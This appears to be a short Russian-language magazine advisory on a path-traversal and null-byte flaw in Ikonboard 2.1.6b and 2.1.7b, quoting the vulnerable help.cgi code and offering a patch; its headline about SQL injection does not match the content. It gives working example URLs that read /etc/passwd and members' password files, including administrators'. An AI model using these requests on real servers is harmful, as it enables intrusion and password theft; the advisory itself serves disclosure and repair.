Xakep #305. Многошаговые SQL-инъекции
Ikonboard - бесплатная доска объявлений. Уязвимость в продукте позволяет прочитать локальные файлы с
привилегиями веб сервера.
Системы уязвимы:
Ikonboard v2.1.6b
Ikonboard v2.1.7b
Проблема лежит в файле help.cgi:
---[L.44]---
$inhelpon = $query -> param('helpon');
---
Как мы видим, $inhelpon - input для 'helpon'
---[L.95-97]---
$filetoopen = "$ikondir" . "help/$inhelpon.dat";
$filetoopen = &stripMETA($filetoopen);
open (FILE, "$filetoopen") or die "Cannot locate the required files";
---
Это настраивает файл на запуск через фильтр и открывает его.
Но фильтр не делает проверку на "обратный слэш", поэтому мы можем легко добавить 'poison null-byte' 🙂 к '$inhelpon', затем выходим из '.dat'. В добавок, скрипт не делает проверку на "..", поэтому мы можем определить любой путь.
Пример:
http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00
Это покажет нам файл с паролями на сервере, если его можно просмотреть с наличием привилегий.
http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/<member>.cgi%00
Заменить <member> именем мембера борды, чтобы узнать его пароль. (работает и для администраторов, что они не люди что
ли ;).
Патч:
Официальный патч пока не доступен. Но можно пофиксить проблему с помощью этого скрипта (эту линию вставить после 45 линии в 'help.cgi'):
if($inhelpon =~ /\.\./) { &hackdetected; }
Это добавляешь в конец файла:
sub hackdetected {
print "Content-type: text/plain\n\n";
print "извини, но дырка прикрыта :)\n";
print "да, кстати, ты занесен в логи.\n";
exit;
}